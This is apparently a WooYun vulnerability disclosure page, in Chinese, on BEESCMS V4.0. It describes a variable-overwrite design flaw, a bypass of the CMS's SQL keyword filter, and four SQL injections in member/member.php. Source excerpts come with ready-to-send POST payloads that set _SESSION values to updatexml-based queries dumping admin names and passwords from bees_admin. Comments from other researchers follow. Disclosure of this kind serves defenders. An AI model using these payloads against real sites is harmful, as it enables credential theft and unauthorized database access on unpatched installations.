当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141182

漏洞标题:BEESCMS四处注入&&某设计缺陷&&无视防御

相关厂商:beescms.com

漏洞作者: 牛肉包子

提交时间:2015-09-15 18:25

修复时间:2015-12-19 18:27

公开时间:2015-12-19 18:27

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-15: 细节已通知厂商并且等待厂商处理中
2015-09-20: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-11-14: 细节向核心白帽子及相关领域专家公开
2015-11-24: 细节向普通白帽子公开
2015-12-04: 细节向实习白帽子公开
2015-12-19: 细节向公众公开

简要描述:

BEESCMS V4.0_R_20150708
最新版

详细说明:

看到includes\init.php

if(!defined('CMS')){die('Hacking attempt');}
error_reporting(E_ALL & ~E_NOTICE);
define('CMS_PATH',str_replace('includes','',str_replace('\\','/',dirname(__FILE__))));
define('INC_PATH',CMS_PATH.'includes/');
define('DATA_PATH',CMS_PATH.'data/');
define('LANG_PATH',CMS_PATH.'languages/');
define('MB_PATH',CMS_PATH.'member/');
define('TP_PATH',CMS_PATH.'template/');
@ini_set('date.timezone','Asia/Shanghai');
@ini_set('display_errors',1);
@ini_set('session.use_trans_sid', 0);
@ini_set('session.auto_start', 0);
@ini_set('session.use_cookies', 1);
@ini_set('memory_limit', '64M');
@ini_set('session.cache_expire', 180);
session_start();
header("Content-type: text/html; charset=utf-8");
@include(INC_PATH.'fun.php');
unset($HTTP_ENV_VARS, $HTTP_POST_VARS, $HTTP_GET_VARS, $HTTP_POST_FILES, $HTTP_COOKIE_VARS);
if (!get_magic_quotes_gpc())
{
if (isset($_REQUEST))
{
$_REQUEST = addsl($_REQUEST);
}
$_COOKIE = addsl($_COOKIE);
$_POST = addsl($_POST);
$_GET = addsl($_GET);
}
if (isset($_REQUEST)){$_REQUEST = fl_value($_REQUEST);}
$_COOKIE = fl_value($_COOKIE);
$_GET = fl_value($_GET);
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);
@include(DATA_PATH.'confing.php');
$cms_url='http://'.$_SERVER['HTTP_HOST'].CMS_SELF;
define('CMS_URL',$cms_url);


上面那段代码里面就是一个伪全局变量注册,还有个防注入的函数。

function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}


我们用大小写就可以绕过了。
然后看到mx_form/mx_form.php

define('CMS',true);
require_once('../includes/init.php');
require_once('../includes/fun.php');
require_once('../includes/lib.php');//载入模板调用函数,不载入该文件不能使用函数
$id=intval($_GET['id']);
$cate_info=get_cate_info($id,$category);
$channel_info=get_cate_info($cate_info['cate_channel'],$channel);//获得内容模型信息
if(empty($cate_info)){header('location:../index.php');}
$lang=$cate_info['lang'];
if(file_exists(LANG_PATH.'lang_'.$lang.'.php')){include(LANG_PATH.'lang_'.$lang.'.php');}//语言包缓存,数组$language
if(file_exists(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php')){include(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php');}//当前语言下的栏目
var_dump($_SESSION);
$_confing=get_confing($lang);//配置信息
$cat_id=$cate_info['id'];//栏目id
$cateid=$cat_id;
$parent_id=get_cate_last_parent($cat_id);//获取最终顶级栏目


包含了这个文件,所以我们可以通过GPC覆盖变量的值。然后在这个cms里面有很多没有初始化的变量,通过这个设计缺陷。我们可以来注入。
注入1
member\member.php

elseif($action=='main'){
//var_dump($_SESSION);
$url=$language['member_msg28'];
$tpl->assign('position',get_dy_position($url));//位置
if(empty($_SESSION['member_user'])||empty($_SESSION['member_id'])||empty($_SESSION['member_login'])){die('<script type="text/javascript">location.href=\'?action=login&lang='.$lang.'\';</script>');}
$purview=$language['member_msg31'];
if($_SESSION['member_purview']){
$sql="select member_group_name from ".DB_PRE."member_group where id={$_SESSION['member_purview']}"; //注入1
$rel=$GLOBALS['mysql']->fetch_asc($sql);
$purview=$rel[0]['member_group_name'];
unset($rel);
}
$sql="select*from ".DB_PRE."member where id=".intval($_SESSION['member_id']);
$rel=$GLOBALS['mysql']->fetch_asc($sql);
$sql="select count(*) as ask,member from ".DB_PRE."ask where member=".$rel[0]['id']." group by member";
$arr=$GLOBALS['mysql']->fetch_asc($sql);
$ask_count=isset($arr[0]['ask'])?$arr[0]['ask']:'';
unset($arr);
$tpl->assign('ask_count',$ask_count);
$tpl->assign('login_time',date('Y-m-d H:m:s',$rel[0]['member_time']));
$tpl->assign('login_ip',$rel[0]['member_ip']);
$tpl->assign('login_count',$rel[0]['member_count']);
$tpl->assign('purview',$purview);
$tpl->assign('member',$_SESSION['member_user']);
$tpl->display('member_login');
}


其中{$_SESSION['member_purview']}没有单引号包裹,所以造成注入。
首先访问

**.**.**.**/beescms/mx_form/mx_form.php?id=12

设置一次session里面的值

QQ截图20150914220034.jpg


然后访问

**.**.**.**/beescms/member/member.php?action=main&lang=cn


QQ截图20150914220119.jpg


注入二

elseif($action=='info'){
$url=$language['member_msg28'];
$tpl->assign('position',get_dy_position($url));//位置
if(empty($_SESSION['member_user'])||empty($_SESSION['member_id'])||empty($_SESSION['member_login'])){die('<script type="text/javascript">location.href=\'?action=login&lang='.$lang.'\';</script>');}
$sql="select*from ".DB_PRE."member where id=".$_SESSION['member_id']; //注入2
$rel=$GLOBALS['mysql']->fetch_asc($sql);
if(!empty($rel[0]['member_birth'])){$arr=explode('-',$rel[0]['member_birth']);}
$tpl->assign('year',isset($arr['0'])?$arr['0']:'');
$tpl->assign('month',isset($arr['1'])?$arr['1']:'');
$tpl->assign('day',isset($arr['2'])?$arr['2']:'');
$tpl->assign('info',$rel[0]);
$tpl->display('member_login');
}


通过$_SESSION['member_id']来注入
首先

**.**.**.**/beescms/mx_form/mx_form.php?id=12


post数据

_SESSION[member_user]=tomato&_SESSION[member_login]=true&_SESSION[member_id]=updatexml(1,concat(0x5c,(Select group_concat(admin_name,0x5c,admin_password) from bees_admin)),1)


然后访问

**.**.**.**/beescms/member/member.php?action=info&lang=cn


QQ截图20150914220401.jpg


注入3

elseif($action=='save_info'){
if(empty($_SESSION['member_user'])||empty($_SESSION['member_id'])||empty($_SESSION['member_login'])){die('<script type="text/javascript">location.href=\'?action=login&lang='.$lang.'\';</script>');}
$birthdayYear=fl_html(fl_value(intval($_POST['birthdayYear'])));
$birthdayMonth=fl_html(fl_value(intval($_POST['birthdayMonth'])));
$birthdayDay=fl_html(fl_value(intval($_POST['birthdayDay'])));
$sex=fl_html(fl_value(intval($_POST['sex'])));
$sex=empty($sex)?0:$sex;
$mail=fl_html(fl_value($_POST['mail']));
$qq=fl_html(fl_value($_POST['qq']));
$tel=fl_html(fl_value($_POST['tel']));
$phone=fl_html(fl_value($_POST['phone']));
$submit=$_POST['submit'];
if(!empty($qq)){
if(!check_str($qq,'/^[1-9][0-9]*$/')){die("<script type=\"text/javascript\">alert('{$language['member_msg15']}');history.go(-1);</script>");}
}
if(!empty($phone)){
if(!check_str($phone,'/^[1-9][0-9]*$/')){die("<script type=\"text/javascript\">alert('{$language['member_msg16']}');history.go(-1);</script>");}
}
if(empty($submit)){die("<script type=\"text/javascript\">alert('{$language['member_msg17']}');history.go(-1);</script>");}
$birth=$birthdayYear.'-'.$birthdayMonth.'-'.$birthdayDay;
$sql="update ".DB_PRE."member set member_tel='{$tel}',member_phone='{$phone}',member_birth='{$birth}',member_sex =".$sex.",member_qq='{$qq}' where id={$_SESSION['member_id']}"; //注入3
$GLOBALS['mysql']->query($sql);
die("<script type=\"text/javascript\">alert('{$language['member_msg18']}');history.go(-1);</script>");
}


$sql="update ".DB_PRE."member set member_tel='{$tel}',member_phone='{$phone}',member_birth='{$birth}',member_sex =".$sex.",member_qq='{$qq}' where id={$_SESSION['member_id']}";

其中{$_SESSION['member_id']}可以注入

**.**.**.**/beescms/member/member.php?action=save_info&lang=cn


我们post数据

_SESSION[member_purview]=updatexml(1,concat(0x5c,(Select group_concat(admin_name,0x5c,admin_password) from bees_admin)),1)&_SESSION[member_user]=tomato&_SESSION[member_login]=true&_SESSION[member_id]=updatexml(1,concat(0x5c,(Select group_concat(admin_name,0x5c,admin_password) from bees_admin)),1)&submit=xxxx


QQ截图20150914220704.jpg


注入4

elseif($action=='save_password'){
if(empty($_SESSION['member_user'])||empty($_SESSION['member_id'])||empty($_SESSION['member_login'])){die('<script type="text/javascript">location.href=\'?action=login&lang='.$lang.'\';</script>');}
$password_use=trim(fl_html(fl_value($_POST['password_use'])));
$password_new=trim(fl_html(fl_value($_POST['password_new'])));
$password_new2=trim(fl_html(fl_value($_POST['password_new2'])));
if(empty($password_use)||empty($password_new)||empty($password_new2)){die("<script type=\"text/javascript\">alert('{$language['member_msg8']}');history.go(-1);</script>");}
$sql="select member_password from ".DB_PRE."member where id=".$_SESSION['member_id'];
$rel=$GLOBALS['mysql']->get_row($sql);
if(md5($password_use)!=$rel){die("<script type=\"text/javascript\">alert('{$language['member_msg26']}');history.go(-1);</script>");}
if($password_new!=$password_new2){die("<script type=\"text/javascript\">alert('{$language['member_msg9']}');history.go(-1);</script>");}
$sql="update ".DB_PRE."member set member_password='".md5($password_new)."' where id=".$_SESSION['member_id']; //注入4
$GLOBALS['mysql']->query($sql);
die("<script type=\"text/javascript\">alert('{$language['member_msg18']}');history.go(-1);</script>");
}


这段代码

$sql="update ".DB_PRE."member set member_password='".md5($password_new)."' where id=".$_SESSION['member_id'];


**.**.**.**/beescms/member/member.php?action=save_password&lang=cn


我们post数据

_SESSION[member_user]=tomato&_SESSION[member_login]=true&_SESSION[member_id]=updatexml(1,concat(0x5c,(Select group_concat(admin_name,0x5c,admin_password) from bees_admin)),1)&password_use=xxxx&password_new=111&password_new2=xxxx


QQ截图20150914221205.jpg


由于$_SESSION[member_id]可控,所以可以造成大量的越权。

漏洞证明:

QQ截图20150914220119.jpg


QQ截图20150914220401.jpg


QQ截图20150914220704.jpg


修复方案:

你们专业

版权声明:转载请注明来源 牛肉包子@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-19 18:27

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评价

  1. 2015-09-15 19:09 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )

    2k get

  2. 2015-09-15 19:23 | answer 认证白帽子 ( 普通白帽子 | Rank:413 漏洞数:51 | 答案)

    2k get

  3. 2015-09-15 19:40 | Sword ( 路人 | Rank:16 漏洞数:11 | 求大牛带飞)

    你关注的白帽子牛肉包子发表了一个漏洞

  4. 2015-09-16 10:10 | sco4x0 ( 实习白帽子 | Rank:31 漏洞数:13 | O_o)

    你关注的师傅牛肉包子发表了一个2k的漏洞

  5. 2015-10-14 12:20 | 康小泡 ( 路人 | Rank:0 漏洞数:1 | 掉个offer给我吧)

    你关注的师傅牛肉包子发表了一个2k的漏洞